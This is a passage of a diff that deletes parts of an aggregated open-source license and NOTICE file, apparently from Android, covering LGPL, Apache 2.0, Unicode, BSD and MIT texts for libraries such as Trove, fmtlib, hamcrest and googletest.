-written in the body of this License.
-
-  13. The Free Software Foundation may publish revised and/or new
-versions of the Lesser General Public License from time to time.
-Such new versions will be similar in spirit to the present version,
-but may differ in detail to address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Library
-specifies a version number of this License which applies to it and
-"any later version", you have the option of following the terms and
-conditions either of that version or of any later version published by
-the Free Software Foundation.  If the Library does not specify a
-license version number, you may choose any version ever published by
-the Free Software Foundation.
-
-  14. If you wish to incorporate parts of the Library into other free
-programs whose distribution conditions are incompatible with these,
-write to the author to ask for permission.  For software which is
-copyrighted by the Free Software Foundation, write to the Free
-Software Foundation; we sometimes make exceptions for this.  Our
-decision will be guided by the two goals of preserving the free status
-of all derivatives of our free software and of promoting the sharing
-and reuse of software generally.
-
-                NO WARRANTY
-
-  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
-WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
-EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
-OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
-KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
-LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
-THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
-  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
-WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
-AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
-FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
-CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
-LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
-RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
-FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
-SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
-DAMAGES.
-
-             END OF TERMS AND CONDITIONS
-
-           How to Apply These Terms to Your New Libraries
-
-  If you develop a new library, and you want it to be of the greatest
-possible use to the public, we recommend making it free software that
-everyone can redistribute and change.  You can do so by permitting
-redistribution under these terms (or, alternatively, under the terms of the
-ordinary General Public License).
-
-  To apply these terms, attach the following notices to the library.  It is
-safest to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least the
-"copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the library's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Lesser General Public
-    License as published by the Free Software Foundation; either
-    version 2.1 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Lesser General Public License for more details.
-
-    You should have received a copy of the GNU Lesser General Public
-    License along with this library; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-Also add information on how to contact you by electronic and paper mail.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the library, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the
-  library `Frob' (a library for tweaking knobs) written by James Random Hacker.
-
-  <signature of Ty Coon>, 1 April 1990
-  Ty Coon, President of Vice
-
-That's all there is to it!
-
-
-
---------------------------------------------------------------------------------
-trove_readme_license.txt:
-The Trove library is licensed under the Lesser GNU Public License,
-which is included with the distribution in a file called trove_license.txt.
-
-
-The PrimeFinder and HashFunctions classes in Trove are subject to the
-following license restrictions:
-
-Copyright (c) 1999 CERN - European Organization for Nuclear Research.
-
-Permission to use, copy, modify, distribute and sell this software and
-its documentation for any purpose is hereby granted without fee,
-provided that the above copyright notice appear in all copies and that
-both that copyright notice and this permission notice appear in
-supporting documentation. CERN makes no representations about the
-suitability of this software for any purpose. It is provided "as is"
-without expressed or implied warranty.
-
-
-
---------------------------------------------------------------------------------
-
-======================================================================
-frameworks/av/NOTICE
-frameworks/native/NOTICE
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for the Android-specific code.                        ==
-   =========================================================================
-
-Android Code
-Copyright 2005-2008 The Android Open Source Project
-
-This product includes software developed as part of
-The Android Open Source Project (http://source.android.com).
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for Apache Commons code.                              ==
-   =========================================================================
-
-Apache Commons
-Copyright 1999-2006 The Apache Software Foundation
-
-This product includes software developed at
-The Apache Software Foundation (http://www.apache.org/).
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for Jakarta Commons Logging.                          ==
-   =========================================================================
-
-Jakarta Commons Logging (JCL)
-Copyright 2005,2006 The Apache Software Foundation.
-
-This product includes software developed at
-The Apache Software Foundation (http://www.apache.org/).
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for the Nuance code.                                  ==
-   =========================================================================
-
-These files are Copyright 2007 Nuance Communications, but released under
-the Apache2 License.
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for the Media Codecs code.                            ==
-   =========================================================================
-
-Media Codecs
-These files are Copyright 1998 - 2009 PacketVideo, but released under
-the Apache2 License.
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for the TagSoup code.                                 ==
-   =========================================================================
-
-This file is part of TagSoup and is Copyright 2002-2008 by John Cowan.
-
-TagSoup is licensed under the Apache License,
-Version 2.0.  You may obtain a copy of this license at
-http://www.apache.org/licenses/LICENSE-2.0 .  You may also have
-additional legal rights not granted by this license.
-
-TagSoup is distributed in the hope that it will be useful, but
-unless required by applicable law or agreed to in writing, TagSoup
-is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS
-OF ANY KIND, either express or implied; not even the implied warranty
-of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for Additional Codecs code.                           ==
-   =========================================================================
-
-Additional Codecs
-These files are Copyright 2003-2010 VisualOn, but released under
-the Apache2 License.
-
-  =========================================================================
-  ==  NOTICE file corresponding to the section 4 d of                    ==
-  ==  the Apache License, Version 2.0,                                   ==
-  ==  in this case for the Audio Effects code.                           ==
-  =========================================================================
-
-Audio Effects
-These files are Copyright (C) 2004-2010 NXP Software and
-Copyright (C) 2010 The Android Open Source Project, but released under
-the Apache2 License.
-
-
-                               Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-
-
-UNICODE, INC. LICENSE AGREEMENT - DATA FILES AND SOFTWARE
-
-Unicode Data Files include all data files under the directories
-http://www.unicode.org/Public/, http://www.unicode.org/reports/,
-and http://www.unicode.org/cldr/data/ . Unicode Software includes any
-source code published in the Unicode Standard or under the directories
-http://www.unicode.org/Public/, http://www.unicode.org/reports/, and
-http://www.unicode.org/cldr/data/.
-
-NOTICE TO USER: Carefully read the following legal agreement. BY
-DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S DATA
-FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), YOU UNEQUIVOCALLY
-ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE TERMS AND CONDITIONS OF
-THIS AGREEMENT. IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY,
-DISTRIBUTE OR USE THE DATA FILES OR SOFTWARE.
-
-COPYRIGHT AND PERMISSION NOTICE
-
-Copyright © 1991-2008 Unicode, Inc. All rights reserved. Distributed
-under the Terms of Use in http://www.unicode.org/copyright.html.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of the Unicode data files and any associated documentation (the
-"Data Files") or Unicode software and any associated documentation (the
-"Software") to deal in the Data Files or Software without restriction,
-including without limitation the rights to use, copy, modify, merge,
-publish, distribute, and/or sell copies of the Data Files or Software,
-and to permit persons to whom the Data Files or Software are furnished to
-do so, provided that (a) the above copyright notice(s) and this permission
-notice appear with all copies of the Data Files or Software, (b) both the
-above copyright notice(s) and this permission notice appear in associated
-documentation, and (c) there is clear notice in each modified Data File
-or in the Software as well as in the documentation associated with the
-Data File(s) or Software that the data or software has been modified.
-
-THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF
-ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
-OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS
-INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT
-OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
-OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE
-OR PERFORMANCE OF THE DATA FILES OR SOFTWARE.
-
-Except as contained in this notice, the name of a copyright holder
-shall not be used in advertising or otherwise to promote the sale, use
-or other dealings in these Data Files or Software without prior written
-authorization of the copyright holder.
-
-======================================================================
-external/fmtlib/NOTICE
-
-Copyright (c) 2012 - 2016, Victor Zverovich
-
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-1. Redistributions of source code must retain the above copyright notice, this
-   list of conditions and the following disclaimer.
-2. Redistributions in binary form must reproduce the above copyright notice,
-   this list of conditions and the following disclaimer in the documentation
-   and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
-ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
-LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
-ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-external/hamcrest/NOTICE
-
-BSD License

-

-Copyright (c) 2000-2006, www.hamcrest.org

-All rights reserved.

-

-Redistribution and use in source and binary forms, with or without

-modification, are permitted provided that the following conditions are met:

-

-Redistributions of source code must retain the above copyright notice, this list of

-conditions and the following disclaimer. Redistributions in binary form must reproduce

-the above copyright notice, this list of conditions and the following disclaimer in

-the documentation and/or other materials provided with the distribution.

-

-Neither the name of Hamcrest nor the names of its contributors may be used to endorse

-or promote products derived from this software without specific prior written

-permission.

-

-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY

-EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES

-OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT

-SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,

-INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED

-TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR

-BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN

-CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY

-WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH

-DAMAGE.

-
-======================================================================
-external/arm-optimized-routines/LICENSE
-
-MIT License
-
-Copyright (c) 1999-2019, Arm Limited.
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-
-======================================================================
-external/googletest/LICENSE
-
-Copyright 2008, Google Inc.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-    * Redistributions of source code must retain the above copyright
-notice, this list of conditions and the following disclaimer.
-    * Redistributions in binary form must reproduce the above
-copyright notice, this list of conditions and the following disclaimer
-in the documentation and/or other materials provided with the
-distribution.
-    * Neither the name of Google Inc. nor the names of its
-contributors may be used to endorse or promote products derived from
-this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-external/apache-commons-math/NOTICE
-
-Apache Commons Math
-Copyright 2001-2011 The Apache Software Foundation
-
-This product includes software developed by
-The Apache Software Foundation (http://www.apache.org/).
-
-===============================================================================
-
-The BracketFinder (package org.apache.commons.math.optimization.univariate)
-and PowellOptimizer (package org.apache.commons.math.optimization.general)
-classes are based on the Python code in module "optimize.py" (version 0.5)
-developed by Travis E. Oliphant for the SciPy library (http://www.scipy.org/)
-Copyright © 2003-2009 SciPy Developers.
-===============================================================================
-
-The LinearConstraint, LinearObjectiveFunction, LinearOptimizer,
-RelationShip, SimplexSolver and SimplexTableau classes in package
-org.apache.commons.math.optimization.linear include software developed by
-Benjamin McCann (http://www.benmccann.com) and distributed with
-the following copyright: Copyright 2009 Google Inc.
-===============================================================================
-
-This product includes software developed by the
-University of Chicago, as Operator of Argonne National
-Laboratory.
-The LevenbergMarquardtOptimizer class in package
-org.apache.commons.math.optimization.general includes software
-translated from the lmder, lmpar and qrsolv Fortran routines
-from the Minpack package
-Minpack Copyright Notice (1999) University of Chicago.  All rights reserved
-===============================================================================
-
-The GraggBulirschStoerIntegrator class in package
-org.apache.commons.math.ode.nonstiff includes software translated
-from the odex Fortran routine developed by E. Hairer and G. Wanner.
-Original source copyright:
-Copyright (c) 2004, Ernst Hairer
-===============================================================================
-
-The EigenDecompositionImpl class in package
-org.apache.commons.math.linear includes software translated
-from some LAPACK Fortran routines.  Original source copyright:
-Copyright (c) 1992-2008 The University of Tennessee.  All rights reserved.
-===============================================================================
-
-The MersenneTwister class in package org.apache.commons.math.random
-includes software translated from the 2002-01-26 version of
-the Mersenne-Twister generator written in C by Makoto Matsumoto and Takuji
-Nishimura. Original source copyright:
-Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura,
-All rights reserved
-===============================================================================
-
-The complete text of licenses and disclaimers associated with the the original
-sources enumerated above at the time of code translation are in the LICENSE.txt
-file.
-
-======================================================================
-external/escapevelocity/NOTICE
-
-Apache Velocity
-
-Copyright (C) 2000-2007 The Apache Software Foundation
-
-This product includes software developed at
-The Apache Software Foundation (http://www.apache.org/).
-
-======================================================================
-external/cbor-java/LICENSE
-
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
